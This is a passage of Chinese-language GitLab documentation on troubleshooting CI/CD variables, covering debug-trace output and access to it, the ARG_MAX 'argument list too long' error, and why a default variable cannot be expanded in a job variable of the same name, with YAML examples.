++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ export CI_PROJECT_ID=17893
++ CI_PROJECT_ID=17893
++ export CI_PROJECT_NAME=ci-debug-trace
++ CI_PROJECT_NAME=ci-debug-trace
...

访问调试日志

对于调试日志的访问被限制到至少具有开发人员角色的用户。具有较低角色的用户无法查看启用调试日志记录的变量的日志:

caution 如果您将 CI_DEBUG_TRACE 作为局部变量添加到 runner,debug 日志会生成,并对所有有权访问作业日志的用户可见。Runner 不会检查权限级别,因此您应该只在极狐GitLab 本身中使用该变量。

“argument list too long”

当为作业定义的所有 CI/CD 变量的长度超过 shell 执行作业时强加的限制时,就会发生此问题。这包括预定义和用户定义变量的名称和值。此限制通常称为 ARG_MAX,并取决于 shell 和操作系统。如果单个 File-type 变量的内容超过 ARG_MAX,也会发生此问题。

作为解决办法,您可以:

  • 为大型环境变量使用 File-type CI/CD 变量。
  • 如果单个大型变量超过 ARG_MAX,请尝试使用 Secure Files,或者通过其他机制将文件带到作业中。

默认变量的值无法在同名的作业变量中展开

你不能在同名的作业变量中使用默认变量的值。默认变量仅在作业未定义同名变量时才可供该作业使用。如果作业中存在同名变量,那么作业的变量将优先使用,而默认变量在该作业中则不可用。

比如,这两个例子是等价的:

  • 在此示例中,$MY_VAR 没有值,因为它在任何地方都没有定义:

    Job-with-variable:
      variables:
        MY_VAR: $MY_VAR
      script: echo "Value is '$MY_VAR'"
    
  • 在此示例中,$MY_VAR 没有值,因为同名的默认变量在作业中不可用:

    variables:
      MY_VAR: "Default value"
    
    Job-with-same-name-variable:
      variables:
        MY_VAR: $MY_VAR
      script: echo "Value is '$MY_VAR'"
    

在上面的例子中,echo 命令输出 Value is '$MY_VAR'

通常,您应该直接在作业中使用默认变量,而不是将其值重新分配给新变量。如果您想这么做,请使用具有不同名称的变量。例如:

variables:
  MY_VAR1: "Default value1"
  MY_VAR2: "Default value2"

overwrite-same-name:
  variables:
    MY_VAR2_FROM_DEFAULTS: $MY_VAR2
  script: echo "Values are '$MY_VAR1' and '$MY_VAR2_FROM_DEFAULTS'"